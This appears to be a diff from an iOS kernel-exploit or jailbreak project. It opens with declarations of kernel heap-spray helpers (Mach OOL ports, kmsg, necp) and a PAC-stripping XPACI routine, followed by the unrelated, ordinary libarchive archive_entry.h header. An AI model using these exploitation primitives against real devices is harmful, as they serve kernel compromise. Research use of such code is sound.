mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size);
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p);
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p);
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz);
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size);
mach_port_t *spray_ports(unsigned int count);
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context);
#endif

View File

@ -0,0 +1,18 @@
// ptrauth.h replacement
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
{
asm(".long 0xDAC143E0"); // XPACI X0
asm("ret");
}
static uint64_t xpaci(uint64_t a)
{
// If a looks like a non-pac'd pointer just return it
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
{
return a;
}
return __xpaci(a);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,721 @@
/*-
* Copyright (c) 2003-2008 Tim Kientzle
* Copyright (c) 2016 Martin Matuska
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
*/
#ifndef ARCHIVE_ENTRY_H_INCLUDED
#define ARCHIVE_ENTRY_H_INCLUDED
/* Note: Compiler will complain if this does not match archive.h! */
#define ARCHIVE_VERSION_NUMBER 3006002
/*
* Note: archive_entry.h is for use outside of libarchive; the
* configuration headers (config.h, archive_platform.h, etc.) are
* purely internal. Do NOT use HAVE_XXX configuration macros to
* control the behavior of this header! If you must conditionalize,
* use predefined compiler and/or platform macros.
*/
#include <sys/types.h>
#include <stddef.h> /* for wchar_t */
#include <stdint.h>
#include <time.h>
#if defined(_WIN32) && !defined(__CYGWIN__)
#include <windows.h>
#endif
/* Get a suitable 64-bit integer type. */
#if !defined(__LA_INT64_T_DEFINED)
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_INT64_T la_int64_t
# endif
#define __LA_INT64_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
typedef __int64 la_int64_t;
# else
#include <unistd.h>
# if defined(_SCO_DS) || defined(__osf__)
typedef long long la_int64_t;
# else
typedef int64_t la_int64_t;
# endif
# endif
#endif
/* The la_ssize_t should match the type used in 'struct stat' */
#if !defined(__LA_SSIZE_T_DEFINED)
/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_SSIZE_T la_ssize_t
# endif
#define __LA_SSIZE_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_)
typedef ssize_t la_ssize_t;
# elif defined(_WIN64)
typedef __int64 la_ssize_t;
# else
typedef long la_ssize_t;
# endif
# else
# include <unistd.h> /* ssize_t */
typedef ssize_t la_ssize_t;
# endif
#endif
/* Get a suitable definition for mode_t */
#if ARCHIVE_VERSION_NUMBER >= 3999000
/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */
# define __LA_MODE_T int
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__)
# define __LA_MODE_T unsigned short
#else
# define __LA_MODE_T mode_t
#endif
/* Large file support for Android */
#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__)
#include "android_lf.h"
#endif
/*
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
* .lib. The default here assumes you're building a DLL. Only
* libarchive source should ever define __LIBARCHIVE_BUILD.
*/
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
# ifdef __LIBARCHIVE_BUILD
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllexport)) extern
# else
# define __LA_DECL __declspec(dllexport)
# endif
# else
# ifdef __GNUC__
# define __LA_DECL
# else
# define __LA_DECL __declspec(dllimport)
# endif
# endif
#else
/* Static libraries on all platforms and shared libraries on non-Windows. */
# define __LA_DECL
#endif
#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1
# define __LA_DEPRECATED __attribute__((deprecated))
#else
# define __LA_DEPRECATED
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*
* Description of an archive entry.
*
* You can think of this as "struct stat" with some text fields added in.
*
* TODO: Add "comment", "charset", and possibly other entries that are
* supported by "pax interchange" format. However, GNU, ustar, cpio,
* and other variants don't support these features, so they're not an
* excruciatingly high priority right now.
*
* TODO: "pax interchange" format allows essentially arbitrary
* key/value attributes to be attached to any entry. Supporting
* such extensions may make this library useful for special
* applications (e.g., a package manager could attach special
* package-management attributes to each entry).
*/
struct archive;
struct archive_entry;
/*
* File-type constants. These are returned from archive_entry_filetype()
* and passed to archive_entry_set_filetype().
*
* These values match S_XXX defines on every platform I've checked,
* including Windows, AIX, Linux, Solaris, and BSD. They're
* (re)defined here because platforms generally don't define the ones
* they don't support. For example, Windows doesn't define S_IFLNK or
* S_IFBLK. Instead of having a mass of conditional logic and system
* checks to define any S_XXX values that aren't supported locally,
* I've just defined a new set of such constants so that
* libarchive-based applications can manipulate and identify archive
* entries properly even if the hosting platform can't store them on
* disk.
*
* These values are also used directly within some portable formats,
* such as cpio. If you find a platform that varies from these, the
* correct solution is to leave these alone and translate from these
* portable values to platform-native values when entries are read from
* or written to disk.
*/
/*
* In libarchive 4.0, we can drop the casts here.
* They're needed to work around Borland C's broken mode_t.
*/
#define AE_IFMT ((__LA_MODE_T)0170000)
#define AE_IFREG ((__LA_MODE_T)0100000)
#define AE_IFLNK ((__LA_MODE_T)0120000)
#define AE_IFSOCK ((__LA_MODE_T)0140000)
#define AE_IFCHR ((__LA_MODE_T)0020000)
#define AE_IFBLK ((__LA_MODE_T)0060000)
#define AE_IFDIR ((__LA_MODE_T)0040000)
#define AE_IFIFO ((__LA_MODE_T)0010000)
/*
* Symlink types
*/
#define AE_SYMLINK_TYPE_UNDEFINED 0
#define AE_SYMLINK_TYPE_FILE 1
#define AE_SYMLINK_TYPE_DIRECTORY 2
/*
* Basic object manipulation
*/
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
/* The 'clone' function does a deep copy; all of the strings are copied too. */
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
__LA_DECL void archive_entry_free(struct archive_entry *);
__LA_DECL struct archive_entry *archive_entry_new(void);
/*
* This form of archive_entry_new2() will pull character-set
* conversion information from the specified archive handle. The
* older archive_entry_new(void) form is equivalent to calling
* archive_entry_new2(NULL) and will result in the use of an internal
* default character-set conversion.
*/
__LA_DECL struct archive_entry *archive_entry_new2(struct archive *);
/*
* Retrieve fields from an archive_entry.
*
* There are a number of implicit conversions among these fields. For
* example, if a regular string field is set and you read the _w wide
* character field, the entry will implicitly convert narrow-to-wide
* using the current locale. Similarly, dev values are automatically
* updated when you write devmajor or devminor and vice versa.
*
* In addition, fields can be "set" or "unset." Unset string fields
* return NULL, non-string fields have _is_set() functions to test
* whether they've been set. You can "unset" a string field by
* assigning NULL; non-string fields have _unset() functions to
* unset them.
*
* Note: There is one ambiguity in the above; string fields will
* also return NULL when implicit character set conversions fail.
* This is usually what you want.
*/
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
__LA_DECL int archive_entry_dev_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
__LA_DECL void archive_entry_fflags(struct archive_entry *,
unsigned long * /* set */,
unsigned long * /* clear */);
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *);
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *);
__LA_DECL int archive_entry_ino_is_set(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_size(struct archive_entry *);
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *);
__LA_DECL int archive_entry_symlink_type(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *);
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_encrypted(struct archive_entry *);
/*
* Set fields in an archive_entry.
*
* Note: Before libarchive 2.4, there were 'set' and 'copy' versions
* of the string setters. 'copy' copied the actual string, 'set' just
* stored the pointer. In libarchive 2.4 and later, strings are
* always copied.
*/
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
#if defined(_WIN32) && !defined(__CYGWIN__)
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *);
#endif
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
unsigned long /* set */, unsigned long /* clear */);
/* Returns pointer to start of first invalid token, or NULL if none. */
/* Note that all recognized tokens are processed, regardless. */
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
const char *);
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
const wchar_t *);
__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *);
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int);
__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted);
__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted);
/*
* Routines to bulk copy fields to/from a platform-native "struct
* stat." Libarchive used to just store a struct stat inside of each
* archive_entry object, but this created issues when trying to
* manipulate archives on systems different than the ones they were
* created on.
*
* TODO: On Linux and other LFS systems, provide both stat32 and
* stat64 versions of these functions and all of the macro glue so
* that archive_entry_stat is magically defined to
* archive_entry_stat32 or archive_entry_stat64 as appropriate.
*/
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
/*
* Storage for Mac OS-specific AppleDouble metadata information.
* Apple-format tar files store a separate binary blob containing
* encoded metadata with ACL, extended attributes, etc.
* This provides a place to store that blob.
*/
__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *);
__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t);
/*
* Digest routine. This is used to query the raw hex digest for the
* given entry. The type of digest is provided as an argument.
*/
#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001
#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002
#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003
#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004
#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005
#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006
__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */);
/*
* ACL routines. This used to simply store and return text-format ACL
* strings, but that proved insufficient for a number of reasons:
* = clients need control over uname/uid and gname/gid mappings
* = there are many different ACL text formats
* = would like to be able to read/convert archives containing ACLs
* on platforms that lack ACL libraries
*
* This last point, in particular, forces me to implement a reasonably
* complete set of ACL support routines.
*/
/*
* Permission bits.
*/
#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001
#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002
#define ARCHIVE_ENTRY_ACL_READ 0x00000004
#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008
#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008
#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010
#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010
#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020
#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020
#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040
#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080
#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100
#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200
#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400
#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800
#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000
#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000
#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000
#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000
#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_WRITE \
| ARCHIVE_ENTRY_ACL_READ)
#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_READ_DATA \
| ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \
| ARCHIVE_ENTRY_ACL_WRITE_DATA \
| ARCHIVE_ENTRY_ACL_ADD_FILE \
| ARCHIVE_ENTRY_ACL_APPEND_DATA \
| ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \
| ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_DELETE_CHILD \
| ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_DELETE \
| ARCHIVE_ENTRY_ACL_READ_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_OWNER \
| ARCHIVE_ENTRY_ACL_SYNCHRONIZE)
/*
* Inheritance values (NFS4 ACLs only); included in permset.
*/
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000
#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000
#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000
#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000
#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \
(ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \
| ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERITED)
/* We need to be able to specify combinations of these. */
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \
| ARCHIVE_ENTRY_ACL_TYPE_DEFAULT)
#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \
| ARCHIVE_ENTRY_ACL_TYPE_DENY \
| ARCHIVE_ENTRY_ACL_TYPE_AUDIT \
| ARCHIVE_ENTRY_ACL_TYPE_ALARM)
/* Tag values mimic POSIX.1e */
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */
/*
* Set the ACL by clearing it and adding entries one at a time.
* Unlike the POSIX.1e ACL routines, you must specify the type
* (access/default) for each entry. Internally, the ACL data is just
* a soup of entries. API calls here allow you to retrieve just the
* entries of interest. This design (which goes against the spirit of
* POSIX.1e) is useful for handling archive formats that combine
* default and access information in a single ACL list.
*/
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const char * /* name */);
__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const wchar_t * /* name */);
/*
* To retrieve the ACL, first "reset", then repeatedly ask for the
* "next" entry. The want_type parameter allows you to request only
* certain types of entries.
*/
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
int * /* type */, int * /* permset */, int * /* tag */,
int * /* qual */, const char ** /* name */);
/*
* Construct a text-format ACL. The flags argument is a bitmask that
* can include any of the following:
*
* Flags only for archive entries with POSIX.1e ACL:
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries.
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries.
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
* default ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and
* "mask" entries.
*
* Flags only for archive entries with NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for
* unset permissions and flags in NFSv4 ACL permission and flag fields
*
* Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
* each ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma
* instead of newline.
*/
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002
#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004
#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008
#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010
__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *,
const wchar_t * /* wtext */, int /* type */);
__LA_DECL int archive_entry_acl_from_text(struct archive_entry *,
const char * /* text */, int /* type */);
/* Deprecated constants */
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
/* Deprecated functions */
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
__LA_DECL const char *archive_entry_acl_text(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
/* Return bitmask of ACL types in an archive entry */
__LA_DECL int archive_entry_acl_types(struct archive_entry *);
/* Return a count of entries matching 'want_type' */
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
/* Return an opaque ACL object. */
/* There's not yet anything clients can actually do with this... */
struct archive_acl;
__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *);
/*
* extended attributes
*/
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
const char * /* name */, const void * /* value */,
size_t /* size */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
const char ** /* name */, const void ** /* value */, size_t *);
/*
* sparse
*/
__LA_DECL void archive_entry_sparse_clear(struct archive_entry *);
__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *,
la_int64_t /* offset */, la_int64_t /* length */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_sparse_count(struct archive_entry *);
__LA_DECL int archive_entry_sparse_reset(struct archive_entry *);
__LA_DECL int archive_entry_sparse_next(struct archive_entry *,
la_int64_t * /* offset */, la_int64_t * /* length */);
/*
* Utility to match up hardlinks.
*
* The 'struct archive_entry_linkresolver' is a cache of archive entries
* for files with multiple links. Here's how to use it:
* 1. Create a lookup object with archive_entry_linkresolver_new()
* 2. Tell it the archive format you're using.
* 3. Hand each archive_entry to archive_entry_linkify().
* That function will return 0, 1, or 2 entries that should
* be written.
* 4. Call archive_entry_linkify(resolver, NULL) until
* no more entries are returned.
* 5. Call archive_entry_linkresolver_free(resolver) to free resources.
*
